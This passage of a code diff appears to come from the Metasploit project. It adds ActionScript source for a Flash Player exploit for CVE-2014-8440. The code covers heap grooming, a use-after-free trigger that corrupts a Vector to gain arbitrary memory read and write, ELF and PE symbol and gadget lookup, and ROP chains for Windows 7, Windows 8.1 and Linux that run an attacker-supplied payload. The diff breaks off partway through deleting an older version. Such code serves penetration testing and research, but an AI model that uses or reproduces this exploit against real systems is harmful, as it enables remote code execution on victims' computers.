set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/Exploit.as b/external/source/exploits/CVE-2014-8440/Exploit.as new file mode 100755 index 0000000000..c6e0928bd9 --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/Exploit.as @@ -0,0 +1,281 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Download the Flex SDK (4.6) +// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 4. Build with: mxmlc -o msf.swf Main.as + +// It uses original code from @hdarwin89 for exploitation using ba's and vectors + +package +{ + import flash.utils.* + import flash.display.* + import flash.system.* + import mx.utils.Base64Decoder + + public final class Exploit extends Sprite { + private var shared_ba:ByteArray = null + + private var hole_ba:ByteArray = null; + private var confuse_length_ba:ByteArray = null; + private var fake_ba:ByteArray = null; + private var worker:Worker = null; + + private var byte_array_vector:Vector. = null; + private var byte_array_vector_length:int; + + private var object_vector:Vector. = null; + private var object_vector_length:uint; + + private var ba:ByteArray + private var uv:Vector. + private var corrupted_uv_index:uint = 0 + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + + private var b64:Base64Decoder = new Base64Decoder(); + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit() { + this.object_vector_length = 5770 * 2 + this.byte_array_vector_length = 510 * 2 + + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + this.initialize_worker_and_ba() + if (!this.trigger()) + { + return + } + + var index:uint = search_uint_vector(114, 0x40000000) + if (index == 0xffffffff) { + return + } + + this.uv = this.object_vector[this.corrupted_uv_index] + + for (var i:uint = 0; i < object_vector.length; i++) { + if (i != corrupted_uv_index) + object_vector[i] = null + } + exploiter = new Exploiter(this, platform, os, payload, uv) + } + + final private function initialize_worker_and_ba():Boolean{ + this.ba = new ByteArray() + this.ba.endian = "littleEndian" + this.ba.length = 1024 + this.ba.writeUnsignedInt(0xdeedbeef) + this.ba.position = 0 + + this.shared_ba = new ByteArray() + this.shared_ba.shareable = true + this.shared_ba.endian = Endian.LITTLE_ENDIAN + this.shared_ba.writeUnsignedInt(252536) + this.shared_ba.writeUnsignedInt(16777216) + + this.confuse_length_ba = new ByteArray() + this.confuse_length_ba.length = 0x2000 + this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN + this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA) + + this.fake_ba = new ByteArray(); + this.fake_ba.endian = Endian.LITTLE_ENDIAN; + + this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes); + return true; + } + + final private function trigger():Boolean{ + // Memory massaging + // 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba) + this.fill_byte_array_vector(); + // 2. Clear the marked ByteArray + this.hole_ba.clear(); + + // The shared_ba should be left in "shared" state + this.worker.setSharedProperty("fnfre", this.shared_ba) + this.worker.setSharedProperty("vfhrth", this.confuse_length_ba) + this.worker.setSharedProperty("vfhrth", this.shared_ba) + + // fake_ba *data* is going to fill the space freed from the hole + this.fake_ba.length = 0x2000; + this.fill_byte_array(this.fake_ba, 0xBBBBBBBB); + + // Trigger the vulnerability, if the memory layout is good enough + // the (freed) hole_ba metadata will end being the shared_ba metadata... + this.shared_ba.uncompress() + + // So its size should be 0x2000 + if (this.shared_ba.length != 0x2000) + { + return false + } + + // Free the fake_ba and make holes on the ByteArray's + // allocated on massaging. + this.free_fake_and_make_holes() + + // Fill the holes and the fake_ba data space with + // vectors + this.fill_with_vectors() + + // Hopefully the shared_ba metadata, product of the vulnerability + // at this moment point to the vectors in memory =) it means + // game over. + var pwn_test:uint; + this.shared_ba.position = 0; + pwn_test = this.shared_ba.readUnsignedInt(); + + if (pwn_test == 0xBBBBBBBB) + { + return false + } + + return true; + } + + final private function fill_byte_array(local_ba:ByteArray, value:int):void{ + var i:int; + local_ba.position = 0; + i = 0; + while (i < (local_ba.length / 4)) + { + local_ba.writeInt(value); + i++; + }; + local_ba.position = 0; + } + + final private function fill_byte_array_vector():void{ + var i:int; + var local_ba:ByteArray; + this.byte_array_vector = new Vector.(this.byte_array_vector_length) + + i = 0; + + while (i < this.byte_array_vector_length) + { + local_ba = new ByteArray(); + this.byte_array_vector[i] = local_ba; + local_ba.endian = Endian.LITTLE_ENDIAN; + i++; + } + + var hole_index:int = this.byte_array_vector_length * 4 / 5; + if (hole_index % 2 == 0) + { + hole_index++; + } + + for(i = 0; i < this.byte_array_vector_length; i++) + { + local_ba = this.byte_array_vector[i] as ByteArray + local_ba.length = 0x2000 + this.fill_byte_array(local_ba, 0xCCCCCCCC) + local_ba.writeInt(0xbabefac0) + local_ba.writeInt(0xbabefac1) + local_ba.writeInt(i) + local_ba.writeInt(0xbabefac3) + if (i == hole_index) + { + this.hole_ba = local_ba; + } + } + + return; + } + + final private function free_fake_and_make_holes():void { + var i:int + var clear_ba:ByteArray + var hole_index:int = this.byte_array_vector_length * 4 / 5 + + if (hole_index % 2 == 0) + { + hole_index++; + } + + for (i = 0; i < this.byte_array_vector_length; i++) + { + if (i == hole_index) { + this.fake_ba.clear(); + } else { + if (i % 2 == 1) + { + clear_ba = this.byte_array_vector[i] as ByteArray + this.fill_byte_array(clear_ba, 0xDDDDDDDD) + clear_ba.clear() + } + } + } + return + } + + final private function fill_with_vectors():void { + var i:uint; + var uint_vector:Vector.; + var objects:Vector.; + this.object_vector = new Vector.(this.object_vector_length); + + i = 0 + while (i < this.object_vector_length) + { + this.object_vector[i] = new Vector.() + i++ + } + + i = 0 + while (i < this.object_vector_length) + { + uint_vector = this.object_vector[i] as Vector. + uint_vector.length = 114 + uint_vector[0] = 0xfeedbabe + uint_vector[1] = i + uint_vector[2] = 0xbabeface + i++ + } + } + + // Use the corrupted shared_ba to search and corrupt the uint vector + // Returns the offset to the *length* of the corrupted vector + private function search_uint_vector(old_length:uint, new_length:uint):uint { + this.shared_ba.position = 0 + var i:uint = 0 + var length:uint = 0 + var atom:uint = 0 + var mark_one:uint = 0 + var index:uint = 0 + var mark_two:uint = 0 + while (i < 0x2000) { + length = shared_ba.readUnsignedInt() + if (length == old_length) { + atom = shared_ba.readUnsignedInt() + mark_one = shared_ba.readUnsignedInt() + index = shared_ba.readUnsignedInt() + mark_two = shared_ba.readUnsignedInt() + if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) { + shared_ba.position = i + shared_ba.writeUnsignedInt(new_length) + this.corrupted_uv_index = index + return i; + } + i = i + 16 + } + i = i + 4 + } + return 0xffffffff + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/ExploitByteArray.as b/external/source/exploits/CVE-2014-8440/ExploitByteArray.as new file mode 100755 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/ExploitVector.as b/external/source/exploits/CVE-2014-8440/ExploitVector.as new file mode 100755 index 0000000000..79a73238bf --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 114 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/Exploiter.as b/external/source/exploits/CVE-2014-8440/Exploiter.as new file mode 100755 index 0000000000..6e4eba3295 --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(10000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/Logger.as b/external/source/exploits/CVE-2014-8440/Logger.as new file mode 100755 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/Msf.as b/external/source/exploits/CVE-2014-8440/Msf.as deleted file mode 100755 index d62b3c4561..0000000000 --- a/external/source/exploits/CVE-2014-8440/Msf.as +++ /dev/null @@ -1,502 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Download the Flex SDK (4.6) -// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 4. Build with: mxmlc -o msf.swf Main.as - -// It uses original code from @hdarwin89 for exploitation using ba's and vectors - -package -{ - import flash.utils.* - import flash.display.* - import flash.system.* - import mx.utils.Base64Decoder - - public final class Msf extends Sprite { - - private var shared_ba:ByteArray = null - - private var hole_ba:ByteArray = null; - private var confuse_length_ba:ByteArray = null; - private var fake_ba:ByteArray = null; - private var worker:Worker = null; - - private var byte_array_vector:Vector. = null; - private var byte_array_vector_length:int; - - private var object_vector:Vector. = null; - private var object_vector_length:uint; - - private var ba:ByteArray - private var uv:Vector. - private var corrupted_uv_index:uint = 0 - private var stack:Vector. = new Vector.(0x6400) - private var payload_space:Vector. = new Vector.(0x6400) - - private var b64:Base64Decoder = new Base64Decoder(); - private var payload:String = "" - - public function Msf() { - this.object_vector_length = 5770 * 2 - this.byte_array_vector_length = 510 * 2 - - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString(); - - this.initialize_worker_and_ba() - if (!this.trigger()) - { - return - } - - var index:uint = search_uint_vector(114, 0x40000000) - if (index == 0xffffffff) { - return - } - - this.uv = this.object_vector[this.corrupted_uv_index] - - // Use the corrupted Vector to search saved addresses - var object_vector_pos:uint = search_object_vector() - var byte_array_object:uint = this.uv[object_vector_pos] - 1 - var main:uint = this.uv[object_vector_pos + 2] - 1 - var stack_object:uint = this.uv[object_vector_pos + 3] - 1 - var payload_space_object:uint = this.uv[object_vector_pos + 4] - 1 - - // Locate the corrupted Vector in memory - // It allows arbitrary address memory read/write - var ba_address:uint = search_ba_address() - if (ba_address == 0xffffffff) { - return - } - var uv_address:uint = ba_address + index - this.uv[0] = uv_address - - // Use the corrupted Vector to disclose arbitrary memory - var buffer_object:uint = vector_read(byte_array_object + 0x40) - var buffer:uint = vector_read(buffer_object + 8) - var stack_address:uint = vector_read(stack_object + 0x18) - var payload_address:uint = vector_read(payload_space_object + 0x18) - var vtable:uint = vector_read(main) - - // Set the new ByteArray length - ba.endian = "littleEndian" - ba.length = 0x500000 - - // Overwite the ByteArray data pointer and capacity - var ba_array:uint = buffer_object + 8 - var ba_capacity:uint = buffer_object + 16 - vector_write(ba_array) - 